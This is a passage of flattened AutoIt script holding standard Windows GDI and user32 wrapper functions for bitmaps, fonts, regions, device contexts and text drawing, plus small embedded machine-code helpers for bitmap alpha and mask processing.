IF $ICOLORS > $ICOLORCOUNT THEN
$ICOLORS = $ICOLORCOUNT
ENDIF
IF (NOT $ICOLORS ) OR ((4 * $ICOLORS ) > DLLSTRUCTGETSIZE ($TCOLORTABLE ) ) THEN
RETURN SETERROR (20 , 0 , 0 )
ENDIF
ENDIF
$TAGRGBQ = ";dword aRGBQuad[" & $ICOLORS & "]"
ELSE
$TAGRGBQ = ""
ENDIF
LOCAL $TBITMAPINFO = DLLSTRUCTCREATE ($TAGBITMAPINFOHEADER & $TAGRGBQ )
DLLSTRUCTSETDATA ($TBITMAPINFO , "biSize" , 40 )
DLLSTRUCTSETDATA ($TBITMAPINFO , "biWidth" , $IWIDTH )
DLLSTRUCTSETDATA ($TBITMAPINFO , "biHeight" , $IHEIGHT )
DLLSTRUCTSETDATA ($TBITMAPINFO , "biPlanes" , 1 )
DLLSTRUCTSETDATA ($TBITMAPINFO , "biBitCount" , $IBITSPERPEL )
DLLSTRUCTSETDATA ($TBITMAPINFO , "biCompression" , 0 )
DLLSTRUCTSETDATA ($TBITMAPINFO , "biSizeImage" , 0 )
DLLSTRUCTSETDATA ($TBITMAPINFO , "biXPelsPerMeter" , 0 )
DLLSTRUCTSETDATA ($TBITMAPINFO , "biYPelsPerMeter" , 0 )
DLLSTRUCTSETDATA ($TBITMAPINFO , "biClrUsed" , $ICOLORS )
DLLSTRUCTSETDATA ($TBITMAPINFO , "biClrImportant" , 0 )
IF $ICOLORS THEN
IF ISDLLSTRUCT ($TCOLORTABLE ) THEN
_WINAPI_MOVEMEMORY (DLLSTRUCTGETPTR ($TBITMAPINFO , "aRGBQuad" ) , $TCOLORTABLE , 4 * $ICOLORS )
ELSE
_WINAPI_ZEROMEMORY (DLLSTRUCTGETPTR ($TBITMAPINFO , "aRGBQuad" ) , 4 * $ICOLORS )
ENDIF
ENDIF
LOCAL $HBITMAP = _WINAPI_CREATEDIBSECTION (0 , $TBITMAPINFO , 0 , $__G_VEXT )
IF NOT $HBITMAP THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $HBITMAP
ENDFUNC
FUNC _WINAPI_CREATEDIBSECTION ($HDC , $TBITMAPINFO , $IUSAGE , BYREF $PBITS , $HSECTION = 0 , $IOFFSET = 0 )
$PBITS = 0
LOCAL $ARET = DLLCALL ("gdi32.dll" , "handle" , "CreateDIBSection" , "handle" , $HDC , "struct*" , $TBITMAPINFO , "uint" , $IUSAGE , "ptr*" , 0 , "handle" , $HSECTION , "dword" , $IOFFSET )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
$PBITS = $ARET [4 ]
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_CREATEDIBCOLORTABLE (CONST BYREF $ACOLORTABLE , $ISTART = 0 , $IEND = + 4294967295 )
IF __CHECKERRORARRAYBOUNDS ($ACOLORTABLE , $ISTART , $IEND ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $TCOLORTABLE = DLLSTRUCTCREATE ("dword[" & ($IEND - $ISTART + 1 ) & "]" )
LOCAL $ICOUNT = 1
FOR $I = $ISTART TO $IEND
DLLSTRUCTSETDATA ($TCOLORTABLE , 1 , _WINAPI_SWITCHCOLOR (__RGB ($ACOLORTABLE [$I ] ) ) , $ICOUNT )
$ICOUNT += 1
NEXT
RETURN $TCOLORTABLE
ENDFUNC
FUNC _WINAPI_CREATEFONT ($IHEIGHT , $IWIDTH , $IESCAPE = 0 , $IORIENTN = 0 , $IWEIGHT = $__WINAPICONSTANT_FW_NORMAL , $BITALIC = FALSE , $BUNDERLINE = FALSE , $BSTRIKEOUT = FALSE , $ICHARSET = $__WINAPICONSTANT_DEFAULT_CHARSET , $IOUTPUTPREC = $__WINAPICONSTANT_OUT_DEFAULT_PRECIS , $ICLIPPREC = $__WINAPICONSTANT_CLIP_DEFAULT_PRECIS , $IQUALITY = $__WINAPICONSTANT_DEFAULT_QUALITY , $IPITCH = 0 , $SFACE = "Arial" )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "CreateFontW" , "int" , $IHEIGHT , "int" , $IWIDTH , "int" , $IESCAPE , "int" , $IORIENTN , "int" , $IWEIGHT , "dword" , $BITALIC , "dword" , $BUNDERLINE , "dword" , $BSTRIKEOUT , "dword" , $ICHARSET , "dword" , $IOUTPUTPREC , "dword" , $ICLIPPREC , "dword" , $IQUALITY , "dword" , $IPITCH , "wstr" , $SFACE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_CREATEFONTINDIRECT ($TLOGFONT )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "CreateFontIndirectW" , "struct*" , $TLOGFONT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_CREATERECTRGN ($ILEFTRECT , $ITOPRECT , $IRIGHTRECT , $IBOTTOMRECT )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "CreateRectRgn" , "int" , $ILEFTRECT , "int" , $ITOPRECT , "int" , $IRIGHTRECT , "int" , $IBOTTOMRECT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_CREATEROUNDRECTRGN ($ILEFTRECT , $ITOPRECT , $IRIGHTRECT , $IBOTTOMRECT , $IWIDTHELLIPSE , $IHEIGHTELLIPSE )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "CreateRoundRectRgn" , "int" , $ILEFTRECT , "int" , $ITOPRECT , "int" , $IRIGHTRECT , "int" , $IBOTTOMRECT , "int" , $IWIDTHELLIPSE , "int" , $IHEIGHTELLIPSE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_CREATESOLIDBRUSH ($ICOLOR )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "CreateSolidBrush" , "INT" , $ICOLOR )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETBITMAPDIMENSION ($HBITMAP )
LOCAL $TOBJ = DLLSTRUCTCREATE ($TAGBITMAP )
LOCAL $ARET = DLLCALL ("gdi32.dll" , "int" , "GetObject" , "handle" , $HBITMAP , "int" , DLLSTRUCTGETSIZE ($TOBJ ) , "struct*" , $TOBJ )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN _WINAPI_CREATESIZE (DLLSTRUCTGETDATA ($TOBJ , "bmWidth" ) , DLLSTRUCTGETDATA ($TOBJ , "bmHeight" ) )
ENDFUNC
FUNC _WINAPI_GETSYSCOLORBRUSH ($IINDEX )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "handle" , "GetSysColorBrush" , "int" , $IINDEX )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETTEXTEXTENTPOINT32 ($HDC , $STEXT )
LOCAL $TSIZE = DLLSTRUCTCREATE ($TAGSIZE )
LOCAL $ISIZE = STRINGLEN ($STEXT )
LOCAL $ARET = DLLCALL ("gdi32.dll" , "bool" , "GetTextExtentPoint32W" , "handle" , $HDC , "wstr" , $STEXT , "int" , $ISIZE , "struct*" , $TSIZE )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $TSIZE
ENDFUNC
FUNC _WINAPI_GETTEXTMETRICS ($HDC )
LOCAL $TTEXTMETRIC = DLLSTRUCTCREATE ($TAGTEXTMETRIC )
LOCAL $ARET = DLLCALL ("gdi32.dll" , "bool" , "GetTextMetricsW" , "handle" , $HDC , "struct*" , $TTEXTMETRIC )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $TTEXTMETRIC
ENDFUNC
FUNC _WINAPI_GETWINDOWRGN ($HWND , $HRGN )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "int" , "GetWindowRgn" , "hwnd" , $HWND , "handle" , $HRGN )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_ISALPHABITMAP ($HBITMAP )
$HBITMAP = _WINAPI_COPYBITMAP ($HBITMAP )
IF NOT $HBITMAP THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 )
LOCAL $ARET , $IERROR = 0
DO
LOCAL $TDIB = DLLSTRUCTCREATE ($TAGDIBSECTION )
IF (NOT _WINAPI_GETOBJECT ($HBITMAP , DLLSTRUCTGETSIZE ($TDIB ) , $TDIB ) ) OR (DLLSTRUCTGETDATA ($TDIB , "bmBitsPixel" ) <> 32 ) OR (DLLSTRUCTGETDATA ($TDIB , "biCompression" ) ) THEN
$IERROR = 1
EXITLOOP
ENDIF
$ARET = DLLCALL ("user32.dll" , "int" , "CallWindowProc" , "ptr" , __ALPHAPROC () , "ptr" , 0 , "uint" , 0 , "struct*" , $TDIB , "ptr" , 0 )
IF @ERROR OR ($ARET [0 ] = + 4294967295 ) THEN
$IERROR = @ERROR + 10
EXITLOOP
ENDIF
UNTIL 1
_WINAPI_DELETEOBJECT ($HBITMAP )
IF $IERROR THEN RETURN SETERROR ($IERROR , 0 , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PTINRECT (BYREF $TRECT , BYREF $TPOINT )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "PtInRect" , "struct*" , $TRECT , "struct" , $TPOINT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_REDRAWWINDOW ($HWND , $TRECT = 0 , $HREGION = 0 , $IFLAGS = 5 )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "RedrawWindow" , "hwnd" , $HWND , "struct*" , $TRECT , "handle" , $HREGION , "uint" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SETWINDOWRGN ($HWND , $HRGN , $BREDRAW = TRUE )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "int" , "SetWindowRgn" , "hwnd" , $HWND , "handle" , $HRGN , "bool" , $BREDRAW )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
#EndRegion Public Functions
#Region Embedded DLL Functions
FUNC __ALPHAPROC ()
STATIC $PPROC = 0
IF NOT $PPROC THEN
IF @AUTOITX64 THEN
$PPROC = __INIT (BINARY ("0x48894C240848895424104C894424184C894C24205541574831C050504883EC28" & "48837C24600074054831C0EB0748C7C0010000004821C0751F488B6C24604883" & "7D180074054831C0EB0748C7C0010000004821C07502EB0948C7C001000000EB" & "034831C04821C0740C48C7C0FFFFFFFF4863C0EB6F48C744242800000000488B" & "6C24604C637D04488B6C2460486345084C0FAFF849C1E7024983C7FC4C3B7C24" & "287C36488B6C24604C8B7D184C037C24284983C7034C897C2430488B6C243080" & "7D0000740C48C7C0010000004863C0EB1348834424280471A54831C04863C0EB" & "034831C04883C438415F5DC3" ) )
ELSE
$PPROC = __INIT (BINARY ("0x555331C05050837C241C00740431C0EB05B80100000021C075198B6C241C837D" & "1400740431C0EB05B80100000021C07502EB07B801000000EB0231C021C07407" & "B8FFFFFFFFEB4FC70424000000008B6C241C8B5D048B6C241C0FAF5D08C1E302" & "83C3FC3B1C247C288B6C241C8B5D14031C2483C303895C24048B6C2404807D00" & "007407B801000000EB0C8304240471BE31C0EB0231C083C4085B5DC21000" ) )
ENDIF
ENDIF
RETURN $PPROC
ENDFUNC
FUNC __ANDPROC ()
STATIC $PPROC = 0
IF NOT $PPROC THEN
IF @AUTOITX64 THEN
$PPROC = __INIT (BINARY ("0x48894C240848895424104C894424184C894C2420554157415648C7C009000000" & "4883EC0848C704240000000048FFC875EF4883EC284883BC24A0000000007405" & "4831C0EB0748C7C0010000004821C00F85840000004883BC24A8000000007405" & "4831C0EB0748C7C0010000004821C07555488BAC24A000000048837D18007405" & "4831C0EB0748C7C0010000004821C07522488BAC24A800000048837D18007405" & "4831C0EB0748C7C0010000004821C07502EB0948C7C001000000EB034831C048" & "21C07502EB0948C7C001000000EB034831C04821C07502EB0948C7C001000000" & "EB034831C04821C0740B4831C04863C0E9D701000048C74424280000000048C7" & "44243000000000488BAC24A00000004C637D0849FFCF4C3B7C24300F8C9C0100" & "0048C74424380000000048C74424400000000048C744244800000000488BAC24" & "A00000004C637D0449FFCF4C3B7C24480F8CDB000000488BAC24A00000004C8B" & "7D184C037C24284983C7034C897C2450488B6C2450807D000074264C8B7C2440" & "4C8B74243849F7DE4983C61F4C89F148C7C00100000048D3E04909C74C897C24" & "4048FF4424384C8B7C24384983FF1F7E6F4C8B7C244049F7D74C897C244048C7" & "442458180000004831C0483B4424587F3D488BAC24A80000004C8B7D184C037C" & "24604C897C24504C8B7C2440488B4C245849D3FF4C89F850488B6C2458588845" & "0048FF4424604883442458F871B948C74424380000000048C744244000000000" & "48834424280448FF4424480F810BFFFFFF48837C24380074794C8B7C244049F7" & "D74C8B74243849F7DE4983C6204C89F148C7C0FFFFFFFF48D3E04921C74C897C" & "244048C7442458180000004831C0483B4424587F3D488BAC24A80000004C8B7D" & "184C037C24604C897C24504C8B7C2440488B4C245849D3FF4C89F850488B6C24" & "585888450048FF4424604883442458F871B948FF4424300F814AFEFFFF48C7C0" & "010000004863C0EB034831C04883C470415E415F5DC3" ) )
ELSE
$PPROC = __INIT (BINARY ("0x555357BA0800000083EC04C70424000000004A75F3837C243800740431C0EB05" & "B80100000021C07562837C243C00740431C0EB05B80100000021C0753F8B6C24" & "38837D1400740431C0EB05B80100000021C075198B6C243C837D1400740431C0" & "EB05B80100000021C07502EB07B801000000EB0231C021C07502EB07B8010000" & "00EB0231C021C07502EB07B801000000EB0231C021C0740731C0E969010000C7" & "042400000000C7442404000000008B6C24388B5D084B3B5C24040F8C3F010000" & "C744240800000000C744240C00000000C7442410000000008B6C24388B5D044B" & "3B5C24100F8CA90000008B6C24388B5D14031C2483C303895C24148B6C241480" & "7D0000741C8B5C240C8B7C2408F7DF83C71F89F9B801000000D3E009C3895C24" & "0CFF4424088B5C240883FB1F7E578B5C240CF7D3895C240CC744241818000000" & "31C03B4424187F2D8B6C243C8B5D14035C241C895C24148B5C240C8B4C2418D3" & "FB538B6C241858884500FF44241C83442418F871CBC744240800000000C74424" & "0C0000000083042404FF4424100F8145FFFFFF837C240800745B8B5C240CF7D3" & "8B7C2408F7DF83C72089F9B8FFFFFFFFD3E021C3895C240CC744241818000000" & "31C03B4424187F2D8B6C243C8B5D14035C241C895C24148B5C240C8B4C2418D3" & "FB538B6C241858884500FF44241C83442418F871CBFF4424040F81AFFEFFFFB8" & "01000000EB0231C083C4205F5B5DC21000" ) )
ENDIF
ENDIF
RETURN $PPROC
ENDFUNC
FUNC __XORPROC ()
STATIC $PPROC = 0
IF NOT $PPROC THEN
IF @AUTOITX64 THEN
$PPROC = __INIT (BINARY ("0x48894C240848895424104C894424184C894C24205541574831C050504883EC28" & "48837C24600074054831C0EB0748C7C0010000004821C0751B48837C24680074" & "054831C0EB0748C7C0010000004821C07502EB0948C7C001000000EB034831C0" & "4821C074084831C04863C0EB7748C7442428000000004C637C24584983C7FC4C" & "3B7C24287C4F4C8B7C24604C037C24284C897C2430488B6C2430807D00007405" & "4831C0EB0748C7C0010000004821C0741C4C8B7C24684C037C24284983C7034C" & "897C2430488B6C2430C64500FF48834424280471A148C7C0010000004863C0EB" & "034831C04883C438415F5DC3" ) )
ELSE
$PPROC = __INIT (BINARY ("0x555331C05050837C241C00740431C0EB05B80100000021C07516837C24200074" & "0431C0EB05B80100000021C07502EB07B801000000EB0231C021C0740431C0EB" & "5AC70424000000008B5C241883C3FC3B1C247C3E8B5C241C031C24895C24048B" & "6C2404807D0000740431C0EB05B80100000021C074168B5C2420031C2483C303" & "895C24048B6C2404C64500FF8304240471B6B801000000EB0231C083C4085B5D" & "C21000" ) )
ENDIF
ENDIF
RETURN $PPROC
ENDFUNC
#EndRegion Embedded DLL Functions
#Region Internal Functions
FUNC __INIT ($DDATA )
LOCAL $ILENGTH = BINARYLEN ($DDATA )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "ptr" , "VirtualAlloc" , "ptr" , 0 , "ulong_ptr" , $ILENGTH , "dword" , 4096 , "dword" , 64 )
IF @ERROR OR NOT $ARET [0 ] THEN __FATALEXIT (1 , "Error allocating memory." )
LOCAL $TDATA = DLLSTRUCTCREATE ("byte[" & $ILENGTH & "]" , $ARET [0 ] )
DLLSTRUCTSETDATA ($TDATA , 1 , $DDATA )
RETURN $ARET [0 ]
ENDFUNC
#EndRegion Internal Functions
#Region Global Variables and Constants
GLOBAL CONST $DI_MASK = 1
GLOBAL CONST $DI_IMAGE = 2
GLOBAL CONST $DI_NORMAL = 3
GLOBAL CONST $DI_COMPAT = 4
GLOBAL CONST $DI_DEFAULTSIZE = 8
GLOBAL CONST $DI_NOMIRROR = 16
GLOBAL CONST $DISPLAY_DEVICE_ATTACHED_TO_DESKTOP = 1
GLOBAL CONST $DISPLAY_DEVICE_MULTI_DRIVER = 2
GLOBAL CONST $DISPLAY_DEVICE_PRIMARY_DEVICE = 4
GLOBAL CONST $DISPLAY_DEVICE_MIRRORING_DRIVER = 8
GLOBAL CONST $DISPLAY_DEVICE_VGA_COMPATIBLE = 16
GLOBAL CONST $DISPLAY_DEVICE_REMOVABLE = 32
GLOBAL CONST $DISPLAY_DEVICE_DISCONNECT = 33554432
GLOBAL CONST $DISPLAY_DEVICE_REMOTE = 67108864
GLOBAL CONST $DISPLAY_DEVICE_MODESPRUNED = 134217728
#EndRegion Global Variables and Constants
#Region Functions list
#EndRegion Functions list
#Region Public Functions
FUNC _WINAPI_CREATECOMPATIBLEDC ($HDC )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "CreateCompatibleDC" , "handle" , $HDC )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_DELETEDC ($HDC )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "bool" , "DeleteDC" , "handle" , $HDC )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_DRAWEDGE ($HDC , $TRECT , $IEDGETYPE , $IFLAGS )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "DrawEdge" , "handle" , $HDC , "struct*" , $TRECT , "uint" , $IEDGETYPE , "uint" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_DRAWFRAMECONTROL ($HDC , $TRECT , $ITYPE , $ISTATE )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "DrawFrameControl" , "handle" , $HDC , "struct*" , $TRECT , "uint" , $ITYPE , "uint" , $ISTATE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_DRAWICON ($HDC , $IX , $IY , $HICON )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "DrawIcon" , "handle" , $HDC , "int" , $IX , "int" , $IY , "handle" , $HICON )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_DRAWICONEX ($HDC , $IX , $IY , $HICON , $IWIDTH = 0 , $IHEIGHT = 0 , $ISTEP = 0 , $HBRUSH = 0 , $IFLAGS = 3 )
LOCAL $IOPTIONS
SWITCH $IFLAGS
CASE 1
$IOPTIONS = $DI_MASK
CASE 2
$IOPTIONS = $DI_IMAGE
CASE 3
$IOPTIONS = $DI_NORMAL
CASE 4
$IOPTIONS = $DI_COMPAT
CASE 5
$IOPTIONS = $DI_DEFAULTSIZE
CASE ELSE
$IOPTIONS = $DI_NOMIRROR
ENDSWITCH
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "DrawIconEx" , "handle" , $HDC , "int" , $IX , "int" , $IY , "handle" , $HICON , "int" , $IWIDTH , "int" , $IHEIGHT , "uint" , $ISTEP , "handle" , $HBRUSH , "uint" , $IOPTIONS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_DRAWTEXT ($HDC , $STEXT , BYREF $TRECT , $IFLAGS )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "int" , "DrawTextW" , "handle" , $HDC , "wstr" , $STEXT , "int" , + 4294967295 , "struct*" , $TRECT , "uint" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_ENUMDISPLAYDEVICES ($SDEVICE , $IDEVNUM )
LOCAL $TNAME = 0 , $IFLAGS = 0 , $ADEVICE [5 ]
IF $SDEVICE <> "" THEN
$TNAME = DLLSTRUCTCREATE ("wchar Text[" & STRINGLEN ($SDEVICE ) + 1 & "]" )
DLLSTRUCTSETDATA ($TNAME , "Text" , $SDEVICE )
ENDIF
LOCAL CONST $TAGDISPLAY_DEVICE = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]"
LOCAL $TDEVICE = DLLSTRUCTCREATE ($TAGDISPLAY_DEVICE )
LOCAL $IDEVICE = DLLSTRUCTGETSIZE ($TDEVICE )
DLLSTRUCTSETDATA ($TDEVICE , "Size" , $IDEVICE )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "EnumDisplayDevicesW" , "struct*" , $TNAME , "dword" , $IDEVNUM , "struct*" , $TDEVICE , "dword" , 1 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $IN = DLLSTRUCTGETDATA ($TDEVICE , "Flags" )
IF BITAND ($IN , $DISPLAY_DEVICE_ATTACHED_TO_DESKTOP ) <> 0 THEN $IFLAGS = BITOR ($IFLAGS , 1 )
IF BITAND ($IN , $DISPLAY_DEVICE_PRIMARY_DEVICE ) <> 0 THEN $IFLAGS = BITOR ($IFLAGS , 2 )
IF BITAND ($IN , $DISPLAY_DEVICE_MIRRORING_DRIVER ) <> 0 THEN $IFLAGS = BITOR ($IFLAGS , 4 )
IF BITAND ($IN , $DISPLAY_DEVICE_VGA_COMPATIBLE ) <> 0 THEN $IFLAGS = BITOR ($IFLAGS , 8 )
IF BITAND ($IN , $DISPLAY_DEVICE_REMOVABLE ) <> 0 THEN $IFLAGS = BITOR ($IFLAGS , 16 )
IF BITAND ($IN , $DISPLAY_DEVICE_MODESPRUNED ) <> 0 THEN $IFLAGS = BITOR ($IFLAGS , 32 )
$ADEVICE [0 ] = TRUE
$ADEVICE [1 ] = DLLSTRUCTGETDATA ($TDEVICE , "Name" )
$ADEVICE [2 ] = DLLSTRUCTGETDATA ($TDEVICE , "String" )
$ADEVICE [3 ] = $IFLAGS
$ADEVICE [4 ] = DLLSTRUCTGETDATA ($TDEVICE , "ID" )
RETURN $ADEVICE
ENDFUNC
FUNC _WINAPI_FILLRECT ($HDC , $TRECT , $HBRUSH )
LOCAL $ARESULT
IF ISPTR ($HBRUSH ) THEN
$ARESULT = DLLCALL ("user32.dll" , "int" , "FillRect" , "handle" , $HDC , "struct*" , $TRECT , "handle" , $HBRUSH )
ELSE
$ARESULT = DLLCALL ("user32.dll" , "int" , "FillRect" , "handle" , $HDC , "struct*" , $TRECT , "dword_ptr" , $HBRUSH )
ENDIF
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_FRAMERECT ($HDC , $TRECT , $HBRUSH )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "int" , "FrameRect" , "handle" , $HDC , "struct*" , $TRECT , "handle" , $HBRUSH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETBKMODE ($HDC )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "int" , "GetBkMode" , "handle" , $HDC )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETDC ($HWND )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "handle" , "GetDC" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETDCEX ($HWND , $HRGN , $IFLAGS )
LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "GetDCEx" , "hwnd" , $HWND , "handle" , $HRGN , "dword" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETDEVICECAPS ($HDC , $IINDEX )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "int" , "GetDeviceCaps" , "handle" , $HDC , "int" , $IINDEX )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETTEXTCOLOR ($HDC )
LOCAL $ARET = DLLCALL ("gdi32.dll" , "dword" , "GetTextColor" , "handle" , $HDC )
IF @ERROR OR ($ARET [0 ] = 0xFFFFFFFF ) THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 )
RETURN __RGB ($ARET [0 ] )
ENDFUNC
FUNC _WINAPI_GETWINDOWDC ($HWND )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "handle" , "GetWindowDC" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_PRINTWINDOW ($HWND , $HDC , $BCLIENT = FALSE )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "PrintWindow" , "hwnd" , $HWND , "handle" , $HDC , "uint" , $BCLIENT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_RELEASEDC ($HWND , $HDC )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "int" , "ReleaseDC" , "hwnd" , $HWND , "handle" , $HDC )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_RESTOREDC ($HDC , $IID )
LOCAL $ARET = DLLCALL ("gdi32.dll" , "bool" , "RestoreDC" , "handle" , $HDC , "int" , $IID )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SAVEDC ($HDC )
LOCAL $ARET = DLLCALL ("gdi32.dll" , "int" , "SaveDC" , "handle" , $HDC )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SETBKCOLOR ($HDC , $ICOLOR )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "INT" , "SetBkColor" , "handle" , $HDC , "INT" , $ICOLOR )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SETBKMODE ($HDC , $IBKMODE )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "int" , "SetBkMode" , "handle" , $HDC , "int" , $IBKMODE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SETTEXTCOLOR ($HDC , $ICOLOR )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "INT" , "SetTextColor" , "handle" , $HDC , "INT" , $ICOLOR )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_TWIPSPERPIXELX ()
LOCAL $HDC , $ITWIPSPERPIXELX
$HDC = _WINAPI_GETDC (0 )
LOCAL CONST $__WINAPICONSTANT_LOGPIXELSX = 88
$ITWIPSPERPIXELX = 1440 / _WINAPI_GETDEVICECAPS ($HDC , $__WINAPICONSTANT_LOGPIXELSX )
_WINAPI_RELEASEDC (0 , $HDC )
RETURN $ITWIPSPERPIXELX
ENDFUNC
FUNC _WINAPI_TWIPSPERPIXELY ()
LOCAL $HDC , $ITWIPSPERPIXELY
$HDC = _WINAPI_GETDC (0 )
LOCAL CONST $__WINAPICONSTANT_LOGPIXELSY = 90
$ITWIPSPERPIXELY = 1440 / _WINAPI_GETDEVICECAPS ($HDC , $__WINAPICONSTANT_LOGPIXELSY )
_WINAPI_RELEASEDC (0 , $HDC )
RETURN $ITWIPSPERPIXELY
